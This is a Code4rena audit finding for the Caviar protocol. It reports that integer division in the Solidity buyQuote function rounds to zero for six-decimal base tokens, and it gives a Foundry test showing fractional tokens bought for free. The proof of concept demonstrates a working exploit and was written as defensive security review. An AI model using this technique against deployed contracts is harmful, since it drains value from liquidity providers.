code-423n4 / 2022-12-caviar-findings

2 stars 1 forks source link

User can buy fractional tokens for free. #86

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L399

Vulnerability details

Impact

User could buy fractional tokens for free.

Proof of Concept

Currently the implementation of buyQuote function is as follow:

function buyQuote(uint256 outputAmount) public view returns (uint256) {
        return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997);
    }

This will calculate the amount of base token a user must spend to get outputAmount of fractional token. As you can see this is an integer division, it could result in zero if outputAmount * 1000 * baseTokenReserves()) < ((fractionalTokenReserves() - outputAmount) * 997) and this could happen often when base token with small number of digits is used, I should note here that fractional token is always 18 digits. Below is a test case to demonstrate this finding, I use a 6 digits ERC20 tokens:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../../shared/Fixture.t.sol";
import "../../../src/Caviar.sol";
import "../../../script/CreatePair.s.sol";
import "solmate/tokens/ERC20.sol";

contract MockERC20SixDigit is ERC20 {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_, 6) {}
}

contract TestBuyFractionalToken is Fixture {
    MockERC20SixDigit testBaseToken;

    function setUp() public {
        testBaseToken = new MockERC20SixDigit('test token', 'TEST');
        p = c.create(address(bayc), address(testBaseToken), bytes32(0));

        // Give this address some base tokens
        deal(address(testBaseToken), address(this), 100*1e6, true);
        // Give the pair some base tokens and fractional tokens
        deal(address(testBaseToken), address(this), 100*1e6, true);
        deal(address(p), address(p), 100*1e18, true);
        testBaseToken.approve(address(p), type(uint256).max);
    }

    function testBuyWithoutPaying() public {
        uint256 buyAmount = 1e16;
        uint256 baseTokenBalanceBefore = testBaseToken.balanceOf(address(this));
        uint256 fractionalTokenBalanceBefore = p.balanceOf(address(this));

        // Buy token
        uint256 spentAmount = p.buy(buyAmount, type(uint256).max);

        //
        uint256 baseTokenBalanceAfter = testBaseToken.balanceOf(address(this));
        uint256 fractionalTokenBalanceAfter = p.balanceOf(address(this));

        // The base token spent is 0
        assertEq(spentAmount, 0);
        // The base token balance is unchanged
        assertEq(baseTokenBalanceBefore, baseTokenBalanceAfter);
        // the fraction token balance is increased
        assertEq(fractionalTokenBalanceBefore + buyAmount, fractionalTokenBalanceAfter);

    }

}

Tools Used

Manual review

Recommended Mitigation Steps

I recommend you should check if variable inputAmount returned from function buyQuote is >0, only then the fractional tokens are transferred to the buyer

c4-judge commented 1 year ago

berndartmueller marked the issue as duplicate of #53

c4-judge commented 1 year ago

berndartmueller marked the issue as satisfactory

C4-Staff commented 1 year ago

CloudEllie marked the issue as duplicate of #141